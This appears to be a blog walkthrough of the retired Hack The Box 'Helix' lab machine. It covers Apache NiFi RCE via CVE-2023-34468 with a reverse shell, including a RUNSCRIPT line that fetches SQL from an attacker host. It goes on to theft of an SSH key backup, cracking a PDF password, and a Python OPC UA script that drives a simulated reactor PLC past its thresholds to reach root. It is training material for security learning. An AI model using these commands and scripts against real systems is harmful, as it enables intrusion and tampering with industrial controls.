Discussion — Questions about retired machines? Ping me on Discord.
Hack The Box retired

HTB Helix Writeup

Complete Hack The Box Helix walkthrough covering Apache NiFi RCE, lateral movement to operator, and OPC UA-based privilege escalation.

Helix
Medium retired Hack The Box
Helix completion

Helix HTB - Complete Walkthrough

📋 Step 1: Initial Enumeration

Nmap Scan

bash
nmap -sC -sV -oA helix 10.129.60.0

Results:

code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/

Add to /etc/hosts:

bash
echo "10.129.60.0 helix.htb" >> /etc/hosts

Web Reconnaissance

Visiting http://helix.htb shows a static "Industrial Operator" page. Nothing interactive.

Vhost Fuzzing

bash
ffuf -u http://10.129.60.0 -H "Host: FUZZ.helix.htb" \
     -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
     -mc all -ac

Result: flow.helix.htb [Status: 200]

Add to hosts:

bash
echo "10.129.60.0 flow.helix.htb" >> /etc/hosts

🔧 Step 2: Apache NiFi Discovery

Access NiFi

Visit http://flow.helix.htb/nifi/

Version Fingerprint

Hover over the "About" section (top-right menu → About):

code
Apache NiFi 1.21.0
Build Date: 04/03/2023
Tagged: nifi-1.21.0-RC2

then i quickly googled to find the exploits for that specific version ! https://github.com/advisories/GHSA-xm2m-2q6h-22jw and as always found : https://github.com/Al3xx-sec/CVE-2023-34468-POC Remote Code Execution via H2 Database RUNSCRIPT in Apache NiFi <= 1.21.0

Vulnerability

Apache NiFi ships with an H2 database JAR bundled by default. The DBCPConnectionPool controller service can be configured to use this H2 driver. H2 supports a RUNSCRIPT statement that fetches and executes a SQL file from a remote URL. That SQL file can define arbitrary Java code via CREATE ALIAS and execute it on the server OS.

Attack chain:

code
DBCPConnectionPool (H2 driver)
    → ExecuteSQL processor
    → RUNSCRIPT FROM http://attacker/rce.sql
    → CREATE ALIAS (Java method)
    → CALL SHELLEXEC (reverse shell)

So in our case the niri instance is running without any authentication to verify i just checked !

Check Authentication

bash
curl -k http://flow.helix.htb/nifi-api/access/config

Response: {"config":{"supportsLogin":false}}

Key Finding: No authentication required! Full API access as anonymous user.


💣 Step 3: CVE-2023-34468 Exploitation

Vulnerability Details

Property Value
CVE CVE-2023-34468
Affected Apache NiFi 0.0.2 - 1.21.0
Root Cause H2 JDBC URL allows INIT=RUNSCRIPT to execute remote SQL
Attack Vector DBCPConnectionPool → H2 driver → CREATE ALIAS → Java execution
Pre-auth? No (needs auth), but this instance has NO auth configured

Exploit Chain Diagram

code
Diagram here

Exploit Execution

Using Public PoC:

bash
git clone https://github.com/Al3xx-sec/CVE-2023-34468-POC.git
cd CVE-2023-34468-POC

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 CVE-2023-34468_poc.py --lhost 10.10.14.147 --lport 4444 make sure to change the lport and lhost as you want

Output:

code
[*] Target: http://flow.helix.htb | LHOST: 10.10.14.147:4444
[+] Identity: anonymous | Anonymous: True | canWrite: True
[+] Target is exploitable
[+] PG ID: f203bc07-019b-1000-516b-eaedd48609d1
[+] CS ID: 2b4c0786-019e-1000-926b-b7926339b589
[+] Controller service enabled
[+] Processor running — waiting for shell on port 4444...
[+] rce.sql delivered to target

Shell Received:

bash
nc -lvnp 4444
connect to [10.10.14.147] from [10.129.60.0] 43888

nifi@helix:/opt/nifi-1.21.0$ id
uid=998(nifi) gid=998(nifi) groups=998(nifi)

After that i found the user.txt flag and then as usual i upload linpeas for getting root check the os version and try linux copy fail but not works common thing on htb machines right so then i hover

🔑 Step 4: Lateral Movement to Operator

Local Enumeration as nifi

bash
# Explore NiFi directory
ls -la /opt/nifi-1.21.0/
code
bin/
conf/
content_repository/
database_repository/
docs/
extensions/
flowfile_repository/
lib/
logs/
provenance_repository/
run/
state/
support-bundles/          ← Interesting!
work/

Quickly googled ! And got something juicy

NiFi's support-bundles directory is a built-in feature that collects diagnostic data. When NiFi generates a support bundle, it can include configuration snapshots and sometimes even backup files that administrators have stored there.

The file operator_id_ed25519.bak was likely:

  • A backup of the operator's SSH private key
  • Created by an administrator who used NiFi to manage credentials
  • Left in the support-bundles directory (which nifi user can read)

Find SSH Key Backup

bash
ls -la /opt/nifi-1.21.0/support-bundles/

Found: operator_id_ed25519.bak

bash
# Copy to /tmp
cp /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak /tmp/operator_key
chmod 600 /tmp/operator_key

Transfer Key to Kali

Method: Python HTTP Server

bash
# On target (nifi shell)
cd /tmp
python3 -m http.server 4321

On Kali:

bash
wget http://10.129.60.0:4321/operator_key
chmod 600 operator_key

SSH as Operator

bash
ssh -i operator_key operator@10.129.60.0

Success:

code
operator@helix:~$ id
uid=1001(operator) gid=1001(operator) groups=1001(operator)

operator@helix:~$ ls
control systems diagram.png
Operator Control & Safety Guide.pdf
User.txt ( we already have )

operator@helix:~$ cat user.txt
Forbidden bud ← USER FLAG

📄 Step 5: Crack the PDF

Transfer PDF to Kali

bash
# On target
python3 -m http.server 4321

# On Kali
wget "http://10.129.60.0:4321/oppdf.pdf" -O ops_guide.pdf

Also we have one diagram transfer this as well

Extract Hash & Crack

bash
pdf2john.pl ops_guide.pdf > pdf_hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash

Password: redact


📖 Step 6: PDF Contents - The Key to Root

The PDF reveals the OPC UA PLC structure and maintenance procedure:

Connect to the OPC UA server at opc.tcp://127.0.0.1:4840/helix/

  • Set Mode to MAINTENANCE
  • Enable TestOverride
  • Ramp CalibrationOffset until temperature reaches ~295°C OR pressure reaches ~73 bar
  • This opens the maintenance window
  • Run sudo /usr/local/sbin/helix-maint-console for root

OPC UA service is running on port 4840 (only localhost)

  • asyncua library is available (Python OPC UA)
  • The helix-maint-console script checks /opt/helix/state/maintenance_window for a future Unix timestamp
  • We need to set that timestamp by manipulating the PLC via OPC UA

🔑 Key Insight

The helix-maint-console script expects a file at /opt/helix/state/maintenance_window containing a future Unix timestamp. We need to figure out how the PLC creates this file when the maintenance window conditions are met.

The System Architecture

  1. Helix Industries runs a nuclear reactor simulation

  2. There are 3 custom services running:

    • helix-plc (PLC - Programmable Logic Controller) - runs as plc user
    • helix-safety - runs as root
    • helix-hmi (Human-Machine Interface) - runs as www-data

2. The OPC UA Server

Listens on 127.0.0.1:4840 (only accessible locally)

Has a Plant object with 3 sub-systems:

  • Reactor: Temperature (284°C), Pressure (69 bar), CalibrationOffset (0.0)
  • Safety: TripActive (False), RodsInserted, EmergencyCooling
  • Control: Mode (NORMAL), TestOverride (False), ResetTrip (False)

3. The Maintenance Window Logic

bash
ps aux | grep -i helix
ls -la /opt/helix/
cat /usr/local/sbin/helix-maint-console
tcp   LISTEN 0      100             127.0.0.1:4840       0.0.0.0:*          
asyncua available
plc        55823  0.5  0.0   2992  1080 ?        Ss   11:54   0:00 /opt/helix/bin/helix-plc
root       55825  0.5  0.0   2992  1144 ?        Ss   11:54   0:00 /opt/helix/bin/helix-safety
root       55828  1.5  1.2  68168 51164 ?        S    11:54   0:00 /opt/helix/bin/helix-safety
plc        55829  6.8  3.1 140868 125128 ?        S    11:54   0:00 /opt/helix/bin/helix-plc
www-data   55830  1.0  1.4  74004 57576 ?        S    11:54   0:00 /opt/helix/bin/helix-hmi

The /usr/local/sbin/helix-maint-console script checks for a file at /opt/helix/state/maintenance_window containing a future Unix timestamp. If the file exists and the timestamp is in the future, it gives you a root shell.

4. How to Open the Maintenance Window (From the PDF)

The PDF tells us we need to:

  • Set Mode to MAINTENANCE - This allows us to make changes
  • Enable TestOverride - This permits calibration adjustments
  • Ramp CalibrationOffset - This artificially raises the temperature
  • Reach ~295°C - This is the "maintenance window" threshold (below the 305°C trip limit)

When the PLC detects these conditions, it should write a future timestamp to /opt/helix/state/maintenance_window, which then allows sudo /usr/local/sbin/helix-maint-console to give us a root shell.

🎯 What We're About to Do

The exploit script will:

  • Connect to the OPC UA server (we have access as operator)
  • Set Mode → MAINTENANCE
  • Enable TestOverride → True
  • Slowly increase CalibrationOffset (0 → higher values)
  • Watch Temperature rise until it hits 295°C
  • This triggers the PLC to create the maintenance_window file
  • We run sudo /usr/local/sbin/helix-maint-console → ROOT SHELL

🤖 Step 7: OPC UA Exploitation

OPC UA Architecture

code
┌─────────────────────────────────────────────────────────────┐
│                    OPC UA EXPLOITATION                       │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│   Operator Shell                 PLC Services                │
│   (operator@helix)               (Background)                │
│        │                              │                      │
│        │  asyncua Client              │                      │
│        ├── Connect ──────────────────>│ opc.tcp://           │
│        │   to PLC                      │ 127.0.0.1:4840      │
│        │                              │ /helix/              │
│        │                              │                      │
│        ├── Read Current State ───────>│                      │
│        │   Temp: 284°C                │                      │
│        │   Mode: NORMAL               │                      │
│        │                              │                      │
│        ├── Set Mode=MAINTENANCE ─────>│                      │
│        ├── Set TestOverride=True ────>│                      │
│        │                              │                      │
│        ├── Ramp CalibrationOffset ───>│                      │
│        │   Offset: 0,2,4,6,8...      │ Temperature rises     │
│        │   Temp: 284→290→298°C       │                      │
│        │                              │                      │
│        │   Temp reaches 295°C         │                      │
│        │                              ├── Creates file:       │
│        │                              │   /opt/helix/state/   │
│        │                              │   maintenance_window  │
│        │                              │   (future timestamp)  │
│        │                              │                      │
│        ├── sudo helix-maint-console ─>│                      │
│        │                              ├── Checks file exists  │
│        │                              ├── Checks timestamp    │
│        │                              ├── GRANTS ROOT!        │
│        │                              │                      │
│        ├── ROOT SHELL! ──────────────>│                      │
│                                                              │
└─────────────────────────────────────────────────────────────┘
output
operator@helix:/tmp$ python3 explore.py
[+] Connected

Object: Locations
Object: Server
Object: Aliases
Object: Plant

[+] Found Plant object - exploring recursively...
  Reactor (Object) = <error: The attribute is not supported for the specified Node.(BadAttributeIdInvalid)>
    TemperatureRaw (Variable) = 283.9999722506136
    Temperature (Variable) = 283.9999722506136
    Pressure (Variable) = 68.9999836478061
    CalibrationOffset (Variable) = 0.0
  Safety (Object) = <error: The attribute is not supported for the specified Node.(BadAttributeIdInvalid)>
    RodsInserted (Variable) = False
    EmergencyCooling (Variable) = False
    TripActive (Variable) = False
  Control (Object) = <error: The attribute is not supported for the specified Node.(BadAttributeIdInvalid)>
    Mode (Variable) = NORMAL
    TestOverride (Variable) = False
    ResetTrip (Variable) = False
operator@helix:/tmp$

Exploit Script

python
import asyncio
from asyncua import Client

async def main():
    # Connect to PLC's OPC UA server
    client = Client(url="opc.tcp://127.0.0.1:4840/helix/")
    await client.connect()
    print("[+] Connected to OPC UA server\n")

    # Navigate to Plant object (4th child of Objects)
    objects = client.get_objects_node()
    children = await objects.get_children()
    plant = children[3]  # Locations=0, Server=1, Aliases=2, Plant=3

    # Get sub-systems
    reactor, safety, control = await plant.get_children()

    # Build node dictionaries
    reactor_nodes = {}
    for node in await reactor.get_children():
        name = (await node.read_browse_name()).Name
        reactor_nodes[name] = node

    safety_nodes = {}
    for node in await safety.get_children():
        name = (await node.read_browse_name()).Name
        safety_nodes[name] = node

    control_nodes = {}
    for node in await control.get_children():
        name = (await node.read_browse_name()).Name
        control_nodes[name] = node

    # Read current state
    print("[*] Current state:")
    print(f"    Temperature: {await reactor_nodes['Temperature'].read_value():.1f}°C")
    print(f"    Pressure: {await reactor_nodes['Pressure'].read_value():.1f} bar")
    print(f"    Mode: {await control_nodes['Mode'].read_value()}")

    # Step 1: Set maintenance mode
    print("\n[*] Setting Mode to MAINTENANCE...")
    await control_nodes["Mode"].write_value("MAINTENANCE")
    await asyncio.sleep(1)

    # Step 2: Enable test override
    print("[*] Enabling TestOverride...")
    await control_nodes["TestOverride"].write_value(True)
    await asyncio.sleep(1)

    # Step 3: Ramp calibration offset
    print("[*] Ramping CalibrationOffset...")
    target = 295.0

    for offset in range(0, 200, 2):
        await reactor_nodes["CalibrationOffset"].write_value(float(offset))
        await asyncio.sleep(0.3)

        temp = await reactor_nodes["Temperature"].read_value()
        press = await reactor_nodes["Pressure"].read_value()
        trip = await safety_nodes["TripActive"].read_value()

        print(f"    Offset: {offset:3.0f} | Temp: {temp:.1f}°C | Press: {press:.2f} bar | Trip: {trip}")

        # Handle safety trip
        if trip:
            print("\n[!] Trip triggered! Resetting...")
            await control_nodes["TestOverride"].write_value(False)
            await control_nodes["Mode"].write_value("NORMAL")
            await asyncio.sleep(1)
            await reactor_nodes["CalibrationOffset"].write_value(0.0)
            await asyncio.sleep(2)
            await control_nodes["ResetTrip"].write_value(True)
            await asyncio.sleep(1)
            await control_nodes["Mode"].write_value("MAINTENANCE")
            await control_nodes["TestOverride"].write_value(True)
            await asyncio.sleep(1)
            continue

        # Check if target reached
        if temp >= target:
            print(f"\n[+] Reached {temp:.1f}°C!")
            break

    await asyncio.sleep(2)
    print("\n[+] Done! Now run:")
    print("    sudo /usr/local/sbin/helix-maint-console")

    await client.disconnect()

asyncio.run(main())

Execute

bash
python3 /tmp/exploit.py

Output:

code
[+] Connected to OPC UA server

[*] Current state:
    Temperature: 284.0°C
    Pressure: 69.0 bar
    Mode: NORMAL

[*] Setting Mode to MAINTENANCE...
[*] Enabling TestOverride...
[*] Ramping CalibrationOffset...
    Offset:   0 | Temp: 284.1°C | Press: 69.03 bar | Trip: False
    Offset:   2 | Temp: 284.1°C | Press: 69.03 bar | Trip: False
    Offset:   4 | Temp: 284.1°C | Press: 69.03 bar | Trip: False
    Offset:   6 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
    Offset:   8 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
    Offset:  10 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
    Offset:  12 | Temp: 290.1°C | Press: 69.05 bar | Trip: False
    Offset:  14 | Temp: 298.1°C | Press: 69.06 bar | Trip: False

[+] Reached 298.1°C!

[+] Done! Now run:
    sudo /usr/local/sbin/helix-maint-console

👑 Step 8: Root!

The Maintenance Console Script

bash
cat /usr/local/sbin/helix-maint-console

Logic:

output
# Checks if file exists
# Checks if file contains future Unix timestamp
# If YES → systemd-run --scope /bin/bash -p -i (ROOT SHELL)
# If NO → "Maintenance window CLOSED."

Get Root Shell

bash
sudo /usr/local/sbin/helix-maint-console
code
[+] Privileged maintenance access granted
[!] Window expires in 101 seconds
[!] Session will be terminated automatically
root@helix:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Capture Root Flag

bash
root@helix:~# cat root.txt

Machine Pwned! 🎉

Author avatar

Written by Surajit Sen

Was this writeup helpful?

Comments